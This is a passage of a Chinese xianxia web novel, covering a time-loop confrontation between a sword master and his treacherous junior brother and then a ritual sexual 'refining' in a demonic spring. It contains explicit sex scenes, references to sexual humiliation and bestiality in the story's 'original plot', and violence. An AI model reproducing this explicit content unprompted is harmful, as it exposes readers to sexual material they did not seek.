“你果然……也在轮回。”商卿夜面容微微绷紧,阴翳流水般滑过眼底。“四十九次,无论我如何周旋解释,你都要选择背叛那条路。”
“是啊,整整四十九次,四百三十七年……”谢衡姣若好女、清秀出尘的面容上笑意更深,可不知怎地,看着竟有几分凄切。“师兄为何一次也不肯信我?”
“反而将信任予了……予这来路不明的女子?”
这么长时间,这么多次轮回,谢衡自认比谁都了解仙尊,极硬的脾气下,有一颗极柔软的内心。不然,也不会迟迟不忍杀他、甚至连身旁这世外之人都肯伸以援手。
而他……受制天道,不敢直缨其锋,只能躲在黑暗里,等一切尘埃落定,人质在手,才敢跟师兄说话。
“师弟这么说,师兄倒是好奇,为何你使出百般手段,执意陷我于话本之境,毁我根骨,断我剑道,要我变成那千人枕万人骑的伎子?”
“此前四十九次,我都不能说……这次,这次便是……便是同师兄说了,师
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兄也不会信我了。”
谢衡的尾音带着不甚分明的颤抖,甚至有些不敢抬头去看剑尊的双眼。那双清眸里的憎恶、厌弃,还有……深深的恨意,一次一次割穿他的心,让他觉得自己是活该遭厌弃的混蛋。
商卿夜笑了一声。
“我是话本主角这事都已成事实,难得你愿吐露真相,还有什么不能信的?”
谢衡豁然抬头,双眼晶亮:“当真?……师兄当真?”
“你先把俞霜放了,我自然愿听。”
他眼里希望的火苗,立刻黯淡近灭,也如商卿夜那般笑了笑,却带着几分无比寂寥的味道:“师兄……我若放了俞姑娘,下一刻就会死在你剑下罢。可纵使被师兄杀一千次、一万次,抽筋剥皮,谢衡也心甘情愿。”
话落,这温润如玉的修士已满面泪痕,冲着剑尊缓缓跪下。
“这已是最后一次机会,最后一次,师弟求你……求你听一听……”
商卿夜眼底掠过一丝异样的光芒,面上仍维持痛心怀疑之色,不说同意,但也未出言阻拦。
于是谢衡讲了一个故事,讲出七七四十九次轮回,历经无数煎熬、自疑和锥心之痛也无法坦言的真相。
五百年前,天道已濒临崩溃,再不能供给修真界足够多的灵气,若任其发展,将迎来末法时代。
天道也有等级之分,灵气褪尽,意味莲华界从高阶跌落成低阶,灵识不存,这是天道所无法忍受的。
但大道五十,天衍四九,人遁其一,放在修士身上如此,天道亦如此,唯一能扭转灵气衰弱、维系天道存亡的便只有每逢末法时代才会应劫而出的……承命之人。
若承命之人肯将其命途分享,莲华域天道便可抓着这蜘蛛丝,撑过颓势,迎来下一轮的兴荣。
分享命途,意味气运不再,饱受凌辱折磨,而为了让莲华域各界都能受其好处,正道魔界、妖族人修,其中的气运之子,必须与承命之人建立联系。
“……这就是为何师兄……师兄每次轮回都无法突破观虚、进阶敛真的原因。因为这世上,已经没有足够多的灵气,能让承命之人进阶了。而拨转时间四十九次,也耗尽天道最后一点灵识,若此次还不成,无论是你、我,俞姑娘,还是这莲华域万亿生灵,都要堕入枯竭深渊……若到那时,一切就……真不可挽回了。”
谢衡泣涕不止,擦泪抬头,看见商卿夜悚然动容的面孔,绝望中生出一丝希望:“师兄,师弟从始至终……都未曾想背叛你,我仰慕你……整整四百三十七年……”
剑尊似是极为触动,声音微微颤抖,带着几分令人无法抗拒的引诱感:“可如今我元婴稳固,道基未损,姬照霄也已身死,该如何做?”
谢衡从怀里取出一枚纯黑丹丸:“……若要迎合天道之请,师兄需服下这颗心魔丹,从碎婴堕魔开始,重新返回命途。”
商卿夜接过心魔丹:“你要我生心魔?”
师弟,师弟别无办法……”谢衡无比痛苦地看着他,面容扭曲,“若能替师兄生受嗟磨之苦,谢衡必无二话。”
“……你不要吃!”
一道细哑的声音同时从旁边传来。
俞霜不知道什么时候半挣开了谢衡的定身咒,挣得手脚皮肤开裂,布满条条血丝。她紧紧地捂着胃部,看上去极为不舒服,仿佛立刻马上就会吐出来一样。
然后她看了看身前的谢衡,稀里哗啦吐了一地。
剑修眉棱骨登时一跳:“怎么了?”
他倏地将目光移到谢衡身上,哪还有之前伤重力竭之态,眉目间聚满可怖戾气:“你敢给她下毒?”
谢衡茫然:“我,我没有,师兄,我没有!”
“商卿夜!”瞧着剑修有把丹药往嘴里送的架势,俞霜原地跺脚,拼了命地往外扒,“你不许吃!不许吃!听到没有!不许吃!”
商卿夜瞧着她,面上笑意若春花绚烂:“可他说,我若不吃,天道倾颓,这世界就要毁灭了呢。”
“我不管!你使不了剑怎么办!”俞霜挣不出来,哭得脸都红了,整个人半个身子在原地挣扎,扯来扯去,拽来拽去,把松软的肉挤压得奇形怪状。“我不管!我不管!呜呜呜呜呜!你要吃我就讨厌你,再也不要理你!”
“别怕,你看这心魔丹,我吃了也无事。”
商卿夜像吃糖豆一样把丹丸塞进嘴里咽下去,冲完全呆住的俞霜眨眨眼。
“早自第一次轮回,我便生了心魔,如今相处也有……四百三十七年?叫作心魔,更像是个老朋友。”
剑尊复又古井无波的双眼移向也看傻了的谢衡,淡淡道:”我不知道若你能遭受那些,会不会有二话,我只是觉得你,还有天道,真是……“
无聊。
无论是手段、心性还是意志,都软弱无趣得让他骨头开始发懒了。
11. 第十一章
商卿夜轮回的第一世,除了一柄剑和被处处背叛的境遇外,什么都没有,到了后期,连助他筑道基、悟剑道的师父,也横眉冷对、执剑相向。众叛亲离时,他突破敛真失败,便生了心魔。
说来可笑,比起外人,他对心魔、心魔对他,反倒并未如记载得那般彼此倾轧、抢夺身体控制权抢个你死我活,反而互相推拒,客气得比孔融让梨也不差什么。
那时,剑尊道基破碎,元婴千疮百孔,拖着身体走到一处静林,便再也动不了了。
生死关头,他唇角仍是含着笑的,满不在乎瞧自己的手。
双手手筋已断,本该连剑都拿不动,可他杀人的时候,还是同从前那般稳。
——你瞧你,既然对我这命途不满,又何必长出来?
和他相比,心魔倒更像原著里的仙尊模样,容色淡漠,仿佛沐霜覆雪,只是周身上下围绕着悍烈无比的剑意。
——吾非心魔,而是你的本心。
在商卿夜以为自己碰见个不会说话的心魔时,对方终于说出这么一句。
——本心?你以为我会同那话本中人一样,丢了本心,连本命剑被当做羞辱的玩器也没有所谓?
剑尊笑眯眯地,慢慢地眨了眨眼睛。
长一副狐狸精的模样,他原本是不爱笑的,只对亲近之人有些啰嗦。近来却愈发爱笑。在不想让他好好活着的渣滓面前,他可哭不出来,更不乐意苦着脸。那么就只有笑了。痛得越深,痛得越久,就要笑得越好看。
——你不会忘了剑道。吾怕你忘记自己是个人。
- - - - - -
当商卿夜愿意显露时,那双漂亮到勾魂的眼睛,就会缠绕上让人肝胆俱裂的浓纯魔气。
谢衡看着他的眼睛,一时万念俱灰。
怎么可能……人生了心魔,道基与元婴还是圆融无损的呢?一副经脉,又怎能运转灵魔两气?
难道天道注定倾颓?灵气不在,师兄也无法再执剑修炼啊?怎么就是说不通呢?
若是……谢衡的心思移到了一旁半困在定身咒的女人身上。她可能是最后的机会!
修士咬了咬干涩发紫的唇,灵力骤然爆发,顷刻暴起,将俞霜扯到身边,长剑一展,横上女人肩头。
商卿夜了然:“师弟这是走投无路,终于沦落到要以无辜外人要挟师兄的地步吗?”
谢衡低着头不敢看他,在越来越迫人的杀气中心神颤抖:“师兄若不肯回归命途……过不了百年,俞姑娘也活不了的。”
剑修瞧着他这幅凄风苦雨里被打得东倒西歪的小白菜模样,从未觉得宗门的教育如此失败过。
怎么教出这么个废物呢?
不过,莲华域的修士很早以前开始就不怎么像样。说到底,莲华域天道也是个废物。
“我只有一事不解,这件事我问过你多次,从未说通。”商卿夜此刻还挺心平气和。“为何你觉得天道告诉你的事情,就是毫无谬误的真相,合该被全盘接收,不兴一丝质疑反抗之心?”
谢衡抬起脸来,眼里闪着点点泪花,疑惑茫然地看着他:“天道……天道又怎么会错?反倒是师兄你,师弟真的不懂,哪怕半次,都不肯试一试这条路。他们……他们虽然会做一些错事,但各方气运之子,骨子里都是好的……”
商卿夜诧异地看了他一眼。不对,并不是看他,而是看他身边……
下一瞬,身侧传来一阵喉咙翻滚的声音。
俞霜她……她又吐了,脖子低下去,谢衡赶忙退剑,不妨被她吐了一衣摆。
此前她知道剑修不需要自己插话,也就不开口,但实在忍得受不了。第二次呕吐,当真是把胃里剩下的吐了个干干净净,后面只剩酸水胆汁。
俞霜的脸色也变得很奇怪,又像是恶心鄙夷又像回忆到令人难过的什么,最后还是一句话没说。
谢衡愣愣地望着她,袍角脏污也不在乎,微颤着声音道:“你觉得……你觉得我恶心,对么?但你不知道,为了能让师兄活下去,结束这走到尽头的轮回,什么样的苦楚我都能吃,你又懂什么?”
俞霜猛地一抬眼,总是很单纯无辜、比清淡淡溪水还透亮的眼睛黑彻彻的,看得谢衡寒毛倒竖,却寻不到原因。
男修怔着,天上一个雷忽然滚滚而下,贯穿阴云的轰隆雷声仿佛是一道命令,谢衡手里的剑不由自主割向俞霜的咽喉。俞霜的眼睛没有动,身体也没有动,并不是吓呆了的木愣愣,而是他看不明白的不在乎。
谢衡耳朵里忽然听到一声轻笑,那笑声里有一丝戏弄的意味,更多的像是喟叹。接着,谢衡只看到俞霜发间的两支闹蛾闪了一闪,闪出幢幢金影。
金影骤然变得极亮,亮似闪电,闪电又荡成两道极死寂极深密的剑气,晃花谢衡的眼的刹那,穿透护体真气,一上一下,撕裂了他的身体。
又一道闪电拉起,商卿夜一脚踹翻口吐鲜血的谢衡,长袖一揽,将俞霜卷进怀里。他怜爱地摸摸她散开的头发,执袖替她擦了擦唇角的秽液,慢条斯理地安慰。
“又又,吓到了吗?”<
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p>姑娘抬起眼,定定瞅着他,瞅得剑尊眉头一挑:“没有被吓到。”
剑尊的声音忽又轻柔三分:“那就是生气了。你瞧我这师弟,以前就是个不见兔子不撒鹰的胆小鬼,偏又滑不丢手,窥见我身负重伤,又有软肋在旁,这样才肯现身。我封了剑意在你戴的钗环里,此獠本就伤不了你一根毫毛。”
俞霜摇摇头,慢而肯定地说:“也没有生气啊,剑尊为什么这么问?”
商卿夜整个人从后方拥着俞霜,握住她的右手,捏猫儿肉垫似的,拇指揉按她的掌心:“今日见了太多血,你脸色瞧着不好。”
她回身抱住他的腰,头倚在他胸口,含混地嘟哝,像是雨雾的絮语:“就是……累。剑尊,他们都对你很坏。”
原本微蹙的眉头舒展,商卿夜唇边不由浮起些微笑,眉眼不复戾气缭绕,渐渐松闲:“有你对我好,就够了。”
她的眸子清得透彻,正对着他灰黑的眼睛。俞霜这样豁达,没生气,没害怕,坚定不移伴在身边,商卿夜是高兴的。但心里隐隐生出股不痛快,说不清,道不明,勾出些不受控制的躁意,又被她这句话、这个主动的拥抱抚平。
说几句话的功夫,雨忽地下了起来,飘飘忽忽的,雨丝互相缠绵地勾连,顷刻润湿了肩头。商卿夜轻驱灵力,雨便分从两人头顶一寸滑落。
浸在雨里,这荒峰枯木的景忽然静下来,泛出些湿润的宁和。
“心魔……很难受吗?”沉默半晌,俞霜问。
“不会。”商卿夜答得郑重。“若不是他过于冷漠,揪出来给你见见也未尝不可。”
姑娘像猫儿一样往他胸口蹭了蹭。“那就好。”
“……带你去避雨罢。”
剑尊看了看天色,雨没有停的意思。这雨对修为高深的修士而言,自然不算什么,可一直绵绵地下,也心烦。
至于躺在地上出气多进气少的谢衡,他还不到死期,更多关于天道、关于话本的信息,剑尊打算一一从其嘴中挖出。
他的好师弟,胆小、懦弱,卑鄙,没有自知之明,嘴巴自然也不会有多么严。天道把轮回的宝压在谢衡身上,当真是走了一步臭棋。
“我们接下来要做什么呢?”俞霜扯了扯他的袖摆。
“万事具备,我要试一试突破敛真。在此之前,需得把媚骨彻底炼化。”
剑尊握着她的手,细雨慵懒地缭绕着,见证他耳根微微的红。
“至于怎么炼化,且去瞧你的新任务。绝不难,只是……要辛苦你一阵子了。”
12. 第十二章
御龙峰算是姬照霄的骑宠苑。龙性本/淫,孽龙更甚,无论与什么千奇百怪的妖族相配,都能被孽龙改造成龙种孕体,诞下不伦不类的怪胎。
商卿夜自天上遥遥望着那荒僻到只有枯树疏竹的峰头,“龙苑”中满是永遭荒弃的妖物的嚎叫。叫声拖长,又突显些猥琐之气。
这些妖物别的本事没有,当坐骑都嫌飞得不稳,却延续了孽龙的本性,竟互相亵渎,产出些更为畸形狰狞的畜生。
话本里的仙尊,媚骨被破,心火焚身,逃出人间界后被姬照霄掳去,一番亵弄,玩厌了,便丢入这御龙峰,浑不管灵力尽失的仙尊会迎来什么下场。
一个月后,仙尊被骑宠玩烂了,姬照霄才察觉心意,后悔不迭,已无法挽回。
“就这也算……‘骨子里是好的’?”
忆起谢衡狗/屁/不通的辩解,剑尊冷哼。
“剑尊要我做什么?”
俞霜听到底下那些嘈杂难听的兽吼,浅浅的眉皱得很紧,津津鼻子:“我,我可不要吃它们。”
“谁让你吃了?”商卿夜没好气地白她一眼。“一天天的,脑子里都在想些什么?”
俞霜委屈地“哦”了一声:“那你说嘛?你不说,我怎么明白?”
“不是叫你去看系统任务么?怎地连这也不会了。”
他的声音有点冷,幽肃的眼里却没脾气,用指肚细细地摩挲她被灵气供养得更加细嫩的脸颊——有一种说不出的绵软好手感,这么摸一摸,心底转过的那些不快的念头,也就渐渐浅淡。
“可我看不懂……”姑娘微微撅起嘴,承认得不太甘心。“任务要我帮剑尊炼化媚骨,在‘烟月泉’使用炉鼎,将道基与媚骨相融……‘烟月泉’在哪,我又要怎么做,什么也不知道嘛。”
商卿夜不意系统竟如此鸡贼,恐怕打得就是宁可简化说明也不惹怒“被炼化”的剑尊,把皮球踢回他脚下。可若要他解释……要他一步步教她么?
“你自去读那话本。”剑尊觉得怎么想怎么怪,索性再把皮球踢出去。
谁料俞霜摇摇头,很坚定地拒绝这一提议:“不喜欢,所以不想看。”
商卿夜一哂:“里面的人又不是我。”
“我知道不是你,但是很讨厌。不是你,也很讨厌。看得胃里恶心,又要吐了。”
俞霜其实不太会拒绝人,但跟在剑修身边这些时日,将她的胆子养宽了些,窥他的神色,慢慢地说。
剑尊默然良久,才道:“也罢。先去寻那‘烟月泉’。”
将御龙峰里妖物剿杀废了些时间,商卿夜用灵火将其燃为飞灰,再领着啃炸荷花啃得不亦乐乎的俞霜往烟月泉走。
小径入山林,渐渐变成一条隆起的窄脊。近日一直在下雨,稀疏林间光线渐暗,越往深处行进,灵气就越渐凝滞,渐近腐败魔气。
顺着山间浊流而上,水流曲折,漫过疏林,转过一方隐秘角落,通向一片更为幽暗歪扭的竹林。
步行三刻,眼前豁然开朗。
高耸的山崖剑一般拔起,其下乱石错落,天然画作圆形,围出一个不深不浅的静潭。
潭水清澈见底,四周长着些勾折的奇花异草,色彩各异,勾勒出流动的深艳。浅处只有半人高,水的温度似是不低,水面缓缓蒸腾着雾气,踏进水里,便难看清彼此面容。
“是温泉哎。”俞霜一惊,接着一喜,喜洁的习惯让她本能想去触碰撩拨潭水。
商卿夜从后面拽住她,声音凝着些奇异的喑哑:“……都不知道那是什么水,也敢去碰。”
“烟月泉”并非灵泉,其下既无灵脉,也无火岩,喷出泉水的泉眼下,埋着上古孽龙的尸骨,泉水尽数是万年不散的魅气。
那孽龙本性极阴,一刻也不能离了那种事,最后死在乐奴身上。而那乐奴,也是天生炉鼎,一身媚骨,若是能融合欢道基,再辅以大妖龙丹,恐怕能一步飞升。
他现在要做的,与万年前的乐奴居然也没什么差别。
商卿夜低下头,鼻尖蹭上俞霜脸颊软而白的肤肉,移到额头,唇印在额心,留下一个浅浅淡淡的吻。
剑修轻舔唇角,眸里好似含着笑意,又好似藏着丝丝怨愤:“又又,你要学么?”
“学什么?”
“学如何使用炉鼎,如何炼化媚骨,如何……把我催成乐奴。”
商卿夜嘴角扬得更高,稍稍退后一步,手臂一展,襟袍飞起,只剩一件里衣。
他以一种平静到漠然的姿态,把身体展露在姑娘眼前。
俞霜被他的动作惊得一退,心口一缩,再一麻,涌出些她闹不明白的感觉。
前些日子的相交,她大多处于一种浑浑噩噩受人引导的状态,此刻剑修脱去衣服,她没有被眼前骨架停匀的修长躯体吓到,而是因他脸上近乎残忍的神情而感到畏怖。
那感觉——那感觉就似看着什么人生极珍贵极重要的东西狠狠砸碎在眼前一样。
“……可以不要做的。”
一张口,俞霜才发现自己把嘴唇咬麻了,声音里也染上一点鼻音:“剑尊……我可以不要做任务的。我不在乎能活多久……你不喜欢,我不要做。”
商卿夜将女子的表情变化尽收眼底,没有血色的面颊忽然漫上些潮润的湿红,笑意是自己都没意识到的欣慰。
“碰碰我吧。”剑尊走过去,伸手握住她的腕,牵着引着,按在漂亮地凹进、仿佛天然就该被一只手把握的腰上。
“到潭水里来。又又,我要你,我……只要你。”
- - - - - -
剑尊牵着姑娘踏入潭水。妖媚之气顺着足底纠缠而上,沿媚骨脉络侵入身体。
他只觉一点燥热从丹田炸开,索性朝后仰去,坠入烟月泉的姿态似孤松自倒,玉山倾颓。
湖面荡出一片涟漪,剑尊面容清拔绝艳,沾了水,更显皎然脱尘。乌发散在水中,像多了一层衣服,绕着清瘦结实的胸腹。
俞霜不由自已地触碰那片晶莹似千年古玉的皮肤,幼兽一般磨蹭修长白皙的侧颈,笨拙地、缺乏技巧地用脸颊贴住他的胸口。
剑修一双深灰似黑的眼紧紧地攫着她,待她心神放松、卸去所有防备时,如同一只无比耐心的毒蛛,扣住姑娘的后颈,指按在耳后动脉。
血流涌得快而急,她先是小小惊呼一下,不待抬头,就被吻住双唇。轻轻一咬,商卿夜觉得好似咬在一块韧而滑的软糖上,她的唇舌带着一股散不尽的甜意,诱得人抛不下、分不开,想一直纠纠缠缠。
再抬头时,剑修薄唇轻抿,托起她丰润白皙的手腕,两边各戴了一只嵌宝石的金刚紫玉镯,上面编了些金丝进去
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宝石耀目,紫玉透亮,只一对镯子,就聚起好些珠光宝气。
千年的无踪紫精藤,配观虚剑尊储物戒里的天材地宝,炼出一对天阶法宝,可不止珠光宝气这么简单。
他在姑娘手背攒出的小窝窝里落下几个轻吻,接着含住她葱节似的指,舌尖缠挑,竟激出些刻意的水声来。
突然被折磨对待,俞霜先是一阵愣神,然后脸上因为疑惑和自然生发的羞意而泛出阵阵潮红,沙哑的嗓音也软了:“你……你在做什么呀?有什么好吃的?”
商卿夜手腕一翻,扣住她想要抽出的手,略抬了头,露出眼尾飞红一片:“不光是这里,我瞧又又浑身上下,竟无一处不好吃。”
她用力蹬了一下剑尊小腿,像头被捕食者惊到神的狍子,战战兢兢地往后躲,不妨绊上一块圆石,踉跄着晃了晃身体,居然往前扑去,恰似自投罗网。
他自然接得住她,不仅接住她,生着媚的眼里装模作样地凝起讥嘲的寒冰:“欲拒还迎。”
俞霜先是发了一阵傻,回过味来,大怒,可是被圈在怀里挣脱不得。她哪里打得过剑尊呀,只好在窝囊和生气之间选择生窝囊气。
“你……你好过分!”
俞霜不会骂人,翻来覆去只会指责剑尊“过分”、“欺负人”,连句混蛋都不会说。
吃了瘪,她想找回场子,又言辞匮乏,突然恶向胆边生,一口叼住白玉无瑕上格外鲜明的梅,咬住就不松口。
剑修的腰立马软了,丢盔弃甲地倒下去。
商卿夜蹙眉忍道:“松口。”
姑娘摇头,嘴抿得紧紧的以示坚定,那里很快就红亮得不成样子,她还不松,咬在嘴里,就像挟持了人质,觉得剑尊不敢对她做什么了。
商卿夜一身媚骨早就被泡酥了,血管里阵阵胀痛酥麻,电流般打进四肢百骸,手臂忍得青筋暴起,呼吸急促混乱,终于溢出一声难耐无措的低吟。
他的声音一向清透,淡漠如薄冰,如今杂了些呜咽鼻音,顷刻就化成柔和的春水,绕进俞霜耳朵。
她不自觉松开牙齿,犹豫了下,运转化春决,手跟着探寻那线深软。
含着春意也冷森森的眼忽地钉到了她的手上,但剑修没动,反而敞开了自己。
俞霜呼吸莫名一紧,不等她仔细考虑自己的举动,指尖已被勾引,无须多动,他就已温顺地打开。
剑修已彻底陷入烧着的状态,媚骨寸寸泛出麻痒,到处漫烧。
俞霜被勾了脖子,一丝来自剑尊的灵力顺着经脉流转,加入她凝出的灵力,直至男人被撑到极限。
异物在脆弱中央凝聚,引起一种干硬的不适,却大大缓解了燃烧的酷热。这种酷热他能忍一日、数周,半年,却不敢保证能忍一辈子,何况还要寻一条道路,破开处处设障的贼老天。
最好的法子,就是只要俞霜一人,让她爱上自己,完全归顺,变成不会背叛的私有物。
商卿夜双目紧紧闭合,缠着俞霜,让她跟自己贴得更紧。
当下的处境、破局的解法,还有未来可能的境遇,他都想了个透彻明白。
一抬眼,却见心魔半身正看着自己,似笑非笑,同样寒凉的眼里藏着看戏似的讥诮。
剑修的眉毛不由得轻轻一跳,来不及深想,就被彻底拖入无度的漩涡。
13. 第十三章
痒。
一股没法子分说明白、也找不到解决之道的痒。
媚骨整个儿浸泡在深泉里,丝丝缕缕的魅气无孔不入地往每一个角落渗透。剑尊吃力地把她蕴育在身体里,吃得过饱,肚子都撑凸一块。
像一块颤巍巍的豆腐,被食客按压戳探,下锅前激出水声一片。
剑尊垂着头,无力伏在一块硕大圆扁的潭石上。圆石深黑,窄腰玉白,肤肉白得近乎透明,活似一头引颈待戮的羔羊。
他的腰被两只丰润的手托着,不知被摩挲了多久,握痕遍布,指甲轻轻刮过便能引起一阵战栗。
他像是被骤雨急打过的牡丹花,从头到脚已完全红透了。
日日这么炼化炉鼎,他的嗓子早已沙哑,玉石互击般清透沉凝的嗓音,此时喑喑如砂石相磨,偏偏透着股惊人的媚意。
若是俞霜再去亲他,他喉咙里就会含含混混滚出几句辨不分明的气声。
“……剑尊,我累啦。”
姑娘的脸红通通的,汗和水汽让额发歪七扭八地贴了一头一脸。她像小猫伸爪子挠门板似的挠了挠商卿夜的后背,拨开乱发,寻了处痕迹未退的牙印,轻轻亲了一口。
他轻轻呜咽了一声,眼睛浑浑噩噩、迷迷茫茫,经历着平生未有的懵然无助,俞霜还要雪上加霜——见他久久不应,姑娘试探着把他翻过来。
绵烂被狠狠拧了一圈,很是施过一番酷刑,拧得他不由自住地悲鸣一声,激起一串水音。
商卿夜瞳孔涣散一片,顺着石头滑靠下来,手和腿都疲软地松落,肌肉深刻的小腹怪异地鼓胀着,如怀胎三月。
“剑尊,剑……安归。”姑娘凑在他耳畔小声叫了几次。
欢好半月有余,她渐渐从这苦力似的劳动中寻出一些特异的乐趣。灵力流转释放的快乐,与剑尊肌肤相贴的快乐……也不必再去揣摩谁的心思,不必再窥着灰黑的眸子察言观色。
她吻上他的鼻尖、嘴唇,下巴,喉结,舌尖缠着突红,吸一口比蜜还浓厚的甜汁。
他扬起颈子,颤动着吐出一声甜腻,喘息又变成模模糊糊的泣音。
姑娘没有放过他,一口一口地吸着混着血丝的甜汁,吸干一个,便移向另一个。
这阵子最让她满意的,就是剑尊日日同奶牛一样供给。媚骨逐渐被地魄竹心火炼化,元婴一寸寸纳入合欢道基,泌出极为精纯的灵力,顺着奇经百脉流溢而出,让俞霜捡了好些便宜。
“唔……我不……”
商卿夜已快被无止歇的高热淹死。浑身瘫软如泥,仙骨灵血在泉水里日日煎熬,每次以为不能够再过分之时,总会越过底线,堕入更不妙的境地。
他不知道……他料不到事情竟会到这等地步。
“安归……安归?”俞霜亲了亲他的耳垂,神情若有所思。
商卿夜险些溺毙,身体只本能地随着她的亲吻而微颤。姑娘没得到回应,心有不满,没有什么纠缠花巧,把自己一股脑往最脆弱的水泉扎去。灵气渐涌,撑进前所未有的深处。
剑尊身体一颤一颤、经受不起地阵阵痉挛,哪怕混混沌沌着,危机感也袭上心头:“不……俞霜……又又,别……求你……”
然而她力沉而锐,一股脑破穿,几乎把他劈作两半。商卿夜呛了一口气,嘶鸣闷在喉咙里,骨髓痛麻极痒,偏偏剧痛过后荒诞的痛快劈天盖地,让人不及回转、无处可避,一分一秒拉长至极限,只能拖着虚浮高热的灵魂生生挨过。
绷紧抬起的腰骤然回落,溅起一片水,他的眼角落下一点清泪,哆嗦着蜷起身体。
有人拭去他的泪水,落下轻吻,唤他安归。
那股冷得他牙齿打战的,对媚骨、对丧失自我的怖畏忽然被温暖所替代,那是俞霜把他抱在怀中了。从天落下、要将他敲骨吸髓吞吃干净的寒气也被她的后背遮住。
商卿夜动了动,手臂环住她的腰,闭着眼,头与她的头挨在一起。
- - - - - -
剑尊身上真的好暖好暖。俞霜贴着他的心口,舒服地伸开四肢。
虽然席地露天颇有一番趣味,可离开烟月泉回到金屋,远离御龙峰的妖石荒野,坐在铺得软软的美人榻、窝在剑尊怀里,真是舒服得连眼睛都不愿睁开。
商卿夜披着一件血红道袍,眼睛半阖着,有一搭没一搭应她时不时黏上来的啄吻,掰开一块糕点,填进她微张着的嘴里,堵住没来由就要往他颈子上啃一口的小尖牙。
“……唔唔……好好吃。”
她的眼睛瞪大了,玫红的糕一嚼就在嘴里爆出股馥郁的香气,似是玫瑰又非花香,软弹不腻,绵绵丝丝,吃了一口,就迫不及待地想吃下一口。
“当涂产一种佳酿,见风即消,既不久醉,又无肠腹滞之患,号曰‘快活汤’。酒曲揉入白面,滤入婆娑红芽,三净三蒸,便成这‘快活糕’。”
商卿夜持着另外半块,手一动,姑娘的眼睛就跟着动,左右左右,颇为滑稽,瞧得剑尊展颜一笑,舌尖一卷,半块糕便滑入齿间。
俞霜面颊一鼓,手大不敬地按上剑尊的脸,舌头顶进他嘴里,竟是想抢出些糕屑。
……自然是抢不过的,气哼哼滑到他胸口,姑娘眼珠一转,想出个妙主意
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:“快活糕好吃,可我还是更想吃加了玫瑰酱的奶糕。”
“待此间事了,想吃多少,给你买便是。”商卿夜顺了顺她的头发,不在意地应允。
“剑尊不会做吗?我想要剑尊给我做。”她蹭了蹭他的手,表情透着股乖乎乎的稚拙。
商卿夜直了直身体,觉得自己发现了她要他洗手作羹汤的小心思,微微一哂:“……我未下过厨,倒可以学,只是这荒郊野岭,又无器具,也无食材,如何做?”
“食材有的。”
“嗯?”
俞霜以迅雷不及掩耳盗铃响叮当之势捏了一下剑尊:“……有奶的,好多。”
商卿夜呆住了,嘴唇微微张开,平生第一次坐在那发傻,姑娘还恬不知耻地凑过来,拨开衣襟,拿鼻尖蹭了蹭锁骨下方的青肿不堪:“喝腻了,想吃奶糕。”
他蓦地拢了衣襟,脸色精彩得像打翻了调色盘,时而血红时而涨紫,伸手指着她的鼻子,指尖都在颤抖:“俞霜你……你,真真是无耻之尤!”
“无耻之尤是什么意思?”俞霜文化程度很低,听不懂更不在意,歪头无辜地看着他。
商卿夜简直要被她气个倒仰,心知是说不通又拿她无可奈何,大袖一摆把她拂到榻尾,胸里硬硬地顶着一口气:“我去练剑,莫要跟来。”
就跟就跟,气死你。她吐了吐舌头,到底没敢迎难直上,等了一炷香的时间,才推开门跟了出去。
他是从三天前开始练剑的。除非伤得动不了,剑尊几乎从没有一天掇过修炼,被连着炼化半月已是他能忍耐的极限。
自那日之后,白日照旧炼化媚骨,夜晚俞霜休息,他就抓着度厄习练。
身负寂灭与合欢双重道基,若一方弱了,另一方便会抓住一切机会打压另一方。商卿夜宁可死,也绝不肯让寂灭道落于下风。
无需沐浴焚香更衣膜拜,剑尊身上还染着深深浅浅的印痕,披发跣足,手握度厄剑剑柄,寻一处空地,抬臂起势,竟就那么松松落落地练了开来。
寂灭剑道并无固定剑招,商卿夜也早已过了拘泥剑式的阶段,又习惯与天挣命,剑剑杀机毕露、疏狂悍勇,撑着那削瘦硬实的腰背的,是一身宁死不屈的风骨。
俞霜屏息静气,不错眼地看着剑尊。对于只活了二十个年头的她,剑招剑意剑道一概不懂,只是剑尊那清洒的姿态、不为外意倾压的舒展,以及一意孤拓、无往不前的耀灿,蕴在一套复又一套的剑式里,连她也能够理解,能够从浅薄认知的夹缝中窥见一片过于宽广的世界。
俞霜想。
我绝不能让他使不了剑。
14. 第十四章
自某个时间点过后,俞霜的态度有些改变了。从前她虽然乖巧,嘴却有些笨,要么说些让人哭笑不得的话,要么就把人气个倒仰,忽然一天三顿一顿不落地夸起人,商卿夜就算是个傻子,也能看出不对了。
夸人……也是笨嘴拙舌,只会说些“剑尊真厉害”、“剑法好帅好漂亮”之类的粗糙大白话。商卿夜嘴上嫌弃,心里却止不住泛出些欣悦,练剑也劲头十足,简直比当初突破观虚还要快活。
俞霜本着好话不嫌多的势头,黏在剑尊身侧要甜食的时候也不忘再赞一句人美心善,直到他笑得止不住,两指捏扁她的嘴巴:“你到底瞒着我干了什么好事儿?还是有事求我?老实交代罢,我又不是那种小器的人。”
姑娘茫然地摇摇头,闹不明白怎么夸人也会被当成带有目的性的举动。
“真无事瞒我?”商卿夜狐疑地瞅了她一眼。
俞霜更加用力地晃脑袋,表忠心似地拍了拍胸脯。
剑修单手搂着她,另一只手拨弄腕上的金刚紫玉镯,思考片刻:“可是在这御龙峰呆腻了?放心,再过五日就可结束。届时我带你回仙域镇魔书院,那儿是正道清静地,我也要寻机突破。”
俞霜晃开他的手:“我也不是呆腻了啦。不过,剑尊不是弈星宗的么,为什么不去弈星宗?”
正道第一大派耶,她也是有一米米好奇的。
商卿夜敛了笑容,欲言又止,片刻才叹道:“你觉得能养出我那好师弟的,会是什么便宜去处?”
“所以……剑尊的宗门也不好吗?”
“倒不是宗门不好。”
像是回忆起什么不堪,剑修声音里也染了些烦躁:“我有师弟,自然也有师承,有最初指引教导我的……”
停了半刻,他还是说不出“师尊”二字,蹙着眉,握上俞霜的手腕:“现在说也没什么意思,往后总会碰到的。”
俞霜长长地“哦”了一声,也不知在哦个什么劲儿,倒是难得有点眼色,换了个话题:“今天还要做那事儿吗?”
商卿夜脸色更黑了点:“做,怎么不做?不做不是浪费了你的好系统,还有炼器本事?”
这和炼器本事又有什么关系呀?俞霜丈二和尚摸不着头脑,腕子又被捉起来揉搓,脸颊也被拧了拧。
“你以为这对天阶法宝是白给你的么?”商卿夜耳根通红。“到头来还得用在我身上。”
- - - - - -
——哇。
俞霜看着商卿夜,觉得鼻腔热热的,不知怎么流下一道鼻血。
她只是跟着使用说明往金刚紫玉镯里灌了些灵气,法宝就扩大浮起,有好些金灿灿的细丝从镯子里探出来,把剑尊……把剑尊吊了起来。
